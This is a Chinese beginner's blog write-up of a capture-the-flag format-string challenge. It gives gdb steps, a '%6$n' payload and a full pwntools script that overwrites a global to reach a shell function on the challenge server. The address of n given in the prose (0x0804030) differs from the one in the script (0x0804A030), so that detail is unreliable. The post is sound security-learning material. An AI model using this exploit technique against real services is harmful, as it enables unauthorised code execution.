我学习pwn已经有2个月了,这是我第一次发博客,好紧张啊~~~~~~~~~~~
我这个社恐的孩子会不好意思的
我朋友推荐我在polarctf团队的靶场上做做题(应该是这个名字哈,好久之前推荐的,记性稍微不太好,如果名字说错了勿怪勿怪)
现在我才做了做,然后我就写了一部分的wp
先在虚拟机上查看一下
32位的一个程序,开了NX和canary,然后ida打开看一下
在input函数里,有输入输出,一看就是格式化字符串,然后还有一个shell函数,那具体的思路就应该是通过格式化字符串把n的值改为4,那么我们就需要把n的地址拿到,还要知道read输入的位置是第几个参数。
好在啊,这个n不在栈上,双击一下n,去到n的位置
得到n的地址是 0x0804030
然后就需要在虚拟机里gdb调试一下了,在read函数的位置下一个断点,然后输入aaaaaaaa
然后再输入 x/16wx $esp 查看一下栈里的内容
0x61是a的16进制ascll码,所以现在我们看到了我们输入的8个a,那么我们查一下a的位置,要从0开始查,图里已经标好了,aaaa在第6个位置,所以我们输入的payload一开始就应该是在第六个参数的位置,那么我们把n的地址放在第6个参数的位置,然后用 %6$n 去改写n地址的值 为4就好了
所以 payload : p32(n_addr) + b'%6$n'
在这里解释下(小白的个人理解)
p32(n_addr):是为了把地址写入第第6个参数的位置
%n:举个例子,%d 知道吧以整形输出,%f 知道吧浮点型输出,%n也一样,只不过%n不会输出东西,但是会把之前输出过的字符的个数赋给指向地址,也就是说,会把这一块地址存放的值改为之前输出字符的个数。
6$:这个就是第几个参数,如果不加6$,就是把第一个参数内个地址的值改变,但是加上之后,就是改变的第6个参数
然后整体就是,因为p32(n_addr)是4个字节,所以就是4个字符,然后%n赋值的就是4,刚好就是对应题目里的判断,让n是4
最后发送payload,这个判断就是真的,然后就可以执行shell
脚本:
from pwn import *
#io = process("./pwn1")
io = remote("123.60.135.228", 2115)
n_addr = 0x0804A030
payload = p32(n_addr) + b'%6$n'
io.recv()
io.send(payload)
io.interactive()
终于写完了,要是有大佬看见哪里写错了,欢迎指正。